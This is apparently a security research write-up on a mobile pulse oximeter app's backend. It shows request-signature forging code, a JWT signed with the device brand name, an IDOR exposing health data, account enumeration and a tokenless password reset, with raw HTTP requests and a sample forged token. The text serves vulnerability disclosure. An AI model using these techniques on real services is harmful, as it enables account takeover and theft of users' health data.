Introduction

In the current cybersecurity landscape, the attack surface of mobile applications and their backend services has expanded exponentially. Applications, especially those that handle sensitive information such as health data, become critical entry points for attackers seeking to exploit weaknesses in the authentication layer, data integrity, or access control. This analysis focuses on the interception and exhaustive study of communications from a mobile pulse oximeter application through a network proxy.

Analysis

1. User registration process and integrity verification

The analysis begins with opening the application and intercepting network communications using Frida and a web proxy. The application offers an account creation functionality. For this process, it is required to send the following request POST with the email address and password.

POST /app/register/new HTTP/1.1
timeStamp: <TIMESTAMP>
sign: <SIGNED_HASH>
Content-Type: application/json; charset=UTF-8
Host: backend.application.tld
User-Agent: okhttp/4.12.0

{"channel":"1","countryCode":"ES","email":"<EMAIL_ADDRESS>","nickName":"","password":"<PASSWORD>","phoneId":"<RANDOM_GENERATED_ID>"}

Upon registration, it is observed that the server allows continuation without account possession confirmation (one-time code or link), allowing the creation of accounts with any previously unregistered email address.

The use of an HTTP header, sign, is identified, whose purpose is to act as an integrity mechanism to verify that the request comes from the legitimate mobile application and not from a third party. Through static reverse engineering, the generation algorithm could be obtained. The signature is constructed from the request parameters (channel, countryCode, email, nickName, password, phoneId) and a Unix timestamp in milliseconds (timeStamp).

  1. The parameters are ordered alphabetically.
  2. A compact JSON string is constructed using these parameters, the timestamp, and a static secret key (SALT), sorted alphabetically.
  3. This string is encoded in UTF-8.
  4. The hash is generated using the MD5 algorithm, which is subsequently converted to uppercase. This hash is sent in the header sign.

This is an implementation in the Python language.

import hashlib
import time

def generate_http_sign(url_params: dict, salt: str) -> tuple[str, str]:
    timestamp = str(int(time.time() * 1000))
    map_to_sign = {**url_params, "salt": salt, "timeStamp": timestamp}

    json_to_sign = (
        "{"
        + ",".join(f'"{k}":"{map_to_sign[k]}"' for k in sorted(map_to_sign))
        + "}"
    )

    signature = hashlib.md5(json_to_sign.encode("utf-8")).hexdigest().upper()

    return signature, timestamp


if __name__ == "__main__":
    SALT = "<SECRET_SALT>"

    params = {
        "channel": "1",
        "countryCode": "ES",
        "email": "user@example.com",
        "nickName": "",
        "password": "Password123!",
        "phoneId": "8f3a9b12",
    }

    sign, ts = generate_http_sign(params, SALT)

    print(f"Timestamp: {ts}")
    print(f"Sign:      {sign}")

For the example code, the signature 72EC40FA01D7731B8793137C30F4EFA5 is obtained for the salt 0ca1b68ae81c8ee812d7a99fb62d8245 and the timestamp 1767225600000. There also exists a variant if parameters are used in the URL. In that case, a JSON object is created in the variable params as shown with the parameters and their values.

Although this mechanism adds a layer of difficulty for non-specialized users, the dependence on a weak hashing algorithm (MD5) and the fact that the complete logic for signature construction was exposed through static analysis, allows any attacker to replicate the signature. This constitutes an access control implementation vulnerability due to the possibility of generating valid signatures without being the legitimate application.

2. Authentication flow and JWT token creation

The login process uses the following request structure, now including the timezone:

POST /login/new HTTP/1.1
timeStamp: <TIMESTAMP>
sign: <SIGNED_HASH>
Content-Type: application/json; charset=UTF-8
Host: backend.application.tld
User-Agent: okhttp/4.12.0

{"email":"<EMAIL_ADDRESS>","password":"<PASSWORD>","timezone":60}

The successful response returns a user identifier, the email address, and an access JSON Web Token (JWT).

{  
    "code": 200,  
    "msg": "success",  
    "data": {  
        "userId": <NUMERIC_USER_ID>,  
        "name": "",  
        "email": "<EMAIL_ADDRESS>",  
        "token": "<BRAND_NAME> <JWT_TOKEN>",  
        "countryCode": "ES",  
        "memberFlag": null,  
        "openTime": null,  
        "endTime": null,  
        "experienceFlag": null,  
        "closeHealthPageFlag": null  
    }  
}

Subsequent requests use the header Authorization: <BRAND_NAME> <JWT_TOKEN>, with the first string being the device brand name. When performing a security analysis of the JWT, it was discovered that it uses the algorithm HS256. This implies the use of a static secret key to sign the data.

{ "typ": "JWT", "alg": "HS256" }

The data stored in the token are: the password in hash format bcrypt, the user identifier, the email address, the expiration timestamp (one month after creation), the creation timestamp, and the unique token identifier being the user identifier. The insecure practice of including the password (even in hash bcrypt format) within an access token is observed, which increases the risk of credential exposure.

{ "PASSWORD": "$2a$10$...", "USER_ID": <NUMERIC_USER_ID>, "EMAIL": "<EMAIL_ADDRESS>", "exp": <EXPIRE_TIMESTAMP>, "iat": <CREATION_TIMESTAMP>, "jti": "<NUMERIC_USER_ID>" }

The most serious finding is that the encryption key used for the token is not a random entropy key, but the device brand name in lowercase (e.g., oximeter). This weakness allows the creation of arbitrary JWT tokens. By modifying the variables USER_ID and jti, it is possible to impersonate any user, given prior knowledge of their numerical identifier (which has been determined to be sequential). This represents a critical authentication vulnerability. This is an example of a vulnerable token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJQQVNTV09SRCI6IiQyYSQxMCRkTFhFSWxNbmZyVjNGVEpHMmhMZFlPa3llSlltTXhzcENIeUV5eDZ0Mk1IdHQ2Q3RKdVFrQyIsIlVTRVJfSUQiOjIxOTU0NiwiRU1BSUwiOiJ0ZXN0X2VtYWlsIiwiZXhwIjoxNzY5OTA0MDAwLCJpYXQiOjE3NjcyMjU2MDAsImp0aSI6IjIxOTU0NiJ9.8NtUnzdBcCK08qf3ICiFr9vsF6gJeZ6b6I5DWbYKFXM

3. Insecure Access to Health Data

Upon analyzing the application’s behavior in routes related to the download and upload of health data, it is found that the numerical account identifier (userId) is passed as a parameter. The application does not perform a session or authorization check against the userId provided in the request. This results in an Insecure Direct Object Reference vulnerability (IDOR). It is possible to obtain and modify any user’s health data by previously knowing their user identifier, without requiring that user’s credentials or token.

POST /v1/heartRate/data/async HTTP/1.1
Authorization: <BRAND_NAME> <JWT_TOKEN>
timeStamp: <TIMESTAMP>
sign: <SIGNED_HASH>
Content-Type: application/json; charset=UTF-8
Host: backend.application.tld
User-Agent: okhttp/4.12.0

{"asyncTime":"","current":0,"size":50,"userId":"<NUMERIC_USER_ID>"}

4. Password recovery flow and account enumeration

The application session is then closed, and the functionality of the forgotten password recovery mechanism is tested. The first step is to enter the email address. It then notifies that an email containing a link to recover the password has been sent. If the account does not exist, an on-screen error is displayed, which allows for enumeration of whether or not an account exists in the system.

POST /app/password/new HTTP/1.1
timeStamp: <TIMESTAMP>
sign: <SIGNED_HASH>
Content-Type: application/json; charset=UTF-8
Host: backend.application.tld
User-Agent: okhttp/4.12.0

{"email":"<EMAIL_ADDRESS>"}

The sent email contains a link to the manufacturer’s server.

Hello

We have received your request to reset your password. Please click the button below to set a new password for your vihealth account

[Reset password](https://backend.application.tld/oximeter-parent/index.html#/?email=q0xhoH9HjRVssL4baw2qkBwteeGyNM1%2Fz1Qma8VVHZg%3D)

The above link will expire in 7 days. If you do not need to reset your password, please ignore this email. It is possible that another user entered the wrong email address.

It has a parameter, email, which is a string encoded using Base64, and decoding it confirms that it is encoded via URL and encrypted. It is also verified that the parameter is located after the character #, so it is processed directly with JavaScript code in the browser. No type of token is found in the link.

Reviewing the website using developer tools, it is possible to obtain the source code of the Vue.js web application which is packaged in a Webpack file. We observe in the file index.vue a function mounted() handles the password change:

mounted(){
    var email = this.getQueryString("email")
    let key = CryptoJS.enc.Utf8.parse('1111111122222222');
    let decrypt = CryptoJS.AES.decrypt(email, key, {mode:CryptoJS.mode.ECB,padding: CryptoJS.pad.Pkcs7});
    this.email = CryptoJS.enc.Utf8.stringify(decrypt).toString()
    axios({
        method:"post",
        url: this.url + "/reset/password",
        params:{
          email: this.email,
          password: this.password,
          confirmPassword: this.confirmPassword
        },
        headers: {
          'Content-Type': 'application/json'
        }
      }).then(res=>{
        if(res.data.code == 200){
          this.text = this.data.Toast1
          this.password = ''
          this.confirmPassword = ''
          this.falg = 3
        }else{
          this.text = res.data.msg
        }
        this.isshow = true
        let that = this
        setTimeout(function(){
          that.text = ''
          that.isshow = false
        },2000)
      })
  }

We observe that the parameter email is an encrypted string using the AES-ECM algorithm utilizing the key 1111111122222222. Using the tool CyberChef we can successfully decrypt the string resulting in the user’s email.

Finally, it was demonstrated that it is possible to send the password change request without requiring any verification token, using only the email address and the new password.

POST /reset/password?email=<EMAIL_ADDRESS>&password=<PASSWORD>&confirmPassword=<PASSWORD> HTTP/1.1
Host: backend.application.tld
User-Agent: Mozilla/5.0

The absence of a strong validation mechanism allows changing any registered user’s password knowing only their email address, which permits total account takeover. Following this password change, the user is not notified via email. It is detected that only one session can be active at a time, so when the password is changed and logged into, the original user’s session is closed.

Conclusion

The identified vulnerabilities range from the use of insecure cryptography (MD5, static JWT keys) to fundamental flaws in business logic, such as IDOR and ignoring the password reset flow, allowing an attacker to impersonate identities without robust authentication and access third-party health data without consent.